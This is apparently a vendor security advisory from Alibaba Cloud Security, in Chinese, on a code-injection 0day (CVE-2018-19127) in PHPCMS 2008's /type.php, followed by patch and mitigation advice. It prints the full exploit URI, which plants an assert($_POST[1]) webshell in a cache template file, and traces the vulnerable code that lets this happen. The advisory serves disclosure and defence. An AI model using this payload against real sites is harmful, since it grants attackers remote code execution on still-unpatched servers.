天天看點

威脅快報|CVE漏洞—PHPCMS2008 /type.php代碼注入高危漏洞預警(CNVD-C-2018-127157/CVE-2018-19127)

摘要:11月4日,阿裡雲安全首次捕獲PHPCMS 2008版本的/type.php遠端GetShell 0day利用攻擊,攻擊者可以利用該漏洞遠端植入webshell,導緻檔案篡改、資料洩漏、伺服器被遠端控制等一系列嚴重問題。建議受影響使用者盡快更新到最新版本修複。

———————

PHPCMS網站内容管理系統是國内主流CMS系統之一,同時也是一個開源的PHP開發架構。

PHPCMS最早于2008年推出,最新版已出到v9.6.3,但由于穩定、靈活、開源的特性,時至今日,PHPCMS2008版本仍被許多網站所使用。

漏洞細節

當攻擊者向安裝有PHPCMS 2008的網站發送uri為如下文本的payload

/type.php?template=tag_(){};@unlink(_FILE_);assert($_POST[1]);{//../rss           

那麼

@unlink(_FILE_);assert($_POST[1]);

這句惡意php指令将被寫入網站的/cache_template/rss.tpl.php檔案。

漏洞原理

該漏洞源于PHPCMS 2008源碼中的/type.php檔案。該檔案包含如下代碼:

if(empty($template)) $template = 'type';
...
include template('phpcms', $template);           

這裡template變量是使用者能夠通過傳入參數控制的,同時可以看到該變量之後會被傳入template()方法。而template()方法在/include/global.func.php檔案中定義,包含如下代碼:

template_compile($module, $template, $istag);

不難看出,這裡會繼續調用/include/template.func.php中的template_compile():

function template_compile($module, $template, $istag = 0)
{
    ...
    $compiledtplfile = TPL_CACHEPATH.$module.'_'.$template.'.tpl.php';
    $content = ($istag || substr($template, 0, 4) == 'tag_') ? '<?php function _tag_'.$module.'_'.$template.'($data, $number, $rows, $count, $page, $pages, $setting){ global $PHPCMS,$MODULE,$M,$CATEGORY,$TYPE,$AREA,$GROUP,$MODEL,$templateid,$_userid,$_username;@extract($setting);?>'.template_parse($content, 1).'<?php } ?>' : template_parse($content);
    $strlen = file_put_contents($compiledtplfile, $content);
    ...
}           

在這個方法中,template變量同時被用于compiledtplfile變量中檔案路徑的生成,和content變量中檔案内容的生成。

而前文所述的攻擊payload将template變量被設定為如下的值

tag_(){};@unlink(_FILE_);assert($_POST[1]);{//../rss

是以在template_compile()方法中,調用file_put_contents()函數時的第一個參數就被寫成了

data/cache_template/phpcms_tag_(){};@unlink(_FILE_);assert($_POST[1]);{//../rss.tpl.php

,這将被php解析成

data/cache_template/rss.tpl.php

最終,

@unlink(_FILE_);assert($_POST[1]);

将被寫入該檔案。

影響範圍

雖然距離PHPCMS2008版本的推出已經10年,但仍有不少網站正在使用PHPCMS2008,包括政府、企業的網站;根據Fofa網絡空間安全搜尋引擎的全網精确搜尋結果顯示,還有近200個使用PHPCMS2008版本的網站;而如果使用模糊比對對網站進行識别,比對結果更達上萬個。

通過利用該漏洞,攻擊者在向路徑可控的檔案寫入惡意腳本代碼後,後續将能夠向該檔案發送webshell指令,在伺服器上執行任意代碼,是以該代碼注入漏洞的影響較大。

安全建議

手動修複

臨時解決可以在/type.php檔案中對template變量進行過濾,避免使用者輸入的含有"("、"{"等符号的内容混入,并被當做路徑和腳本内容處理。

但由于PHPCMS2008版本過舊,使用者應盡量更新到最新版本的PHPCMS,才能夠更好地保障安全。

安全加強

•雲防火牆已支援對該類漏洞的入侵防禦,開啟雲防火牆IPS攔截模式和虛拟更新檔功能,使用者即使不自行進行修複,也依然能夠進行防禦和攔截。

•購買安全管家服務,您将能夠在阿裡雲安全專家指導下進行安全加強及優化,避免系統受到該漏洞及後續其他漏洞影響。

本文作者:阿裡雲安全團隊悟泛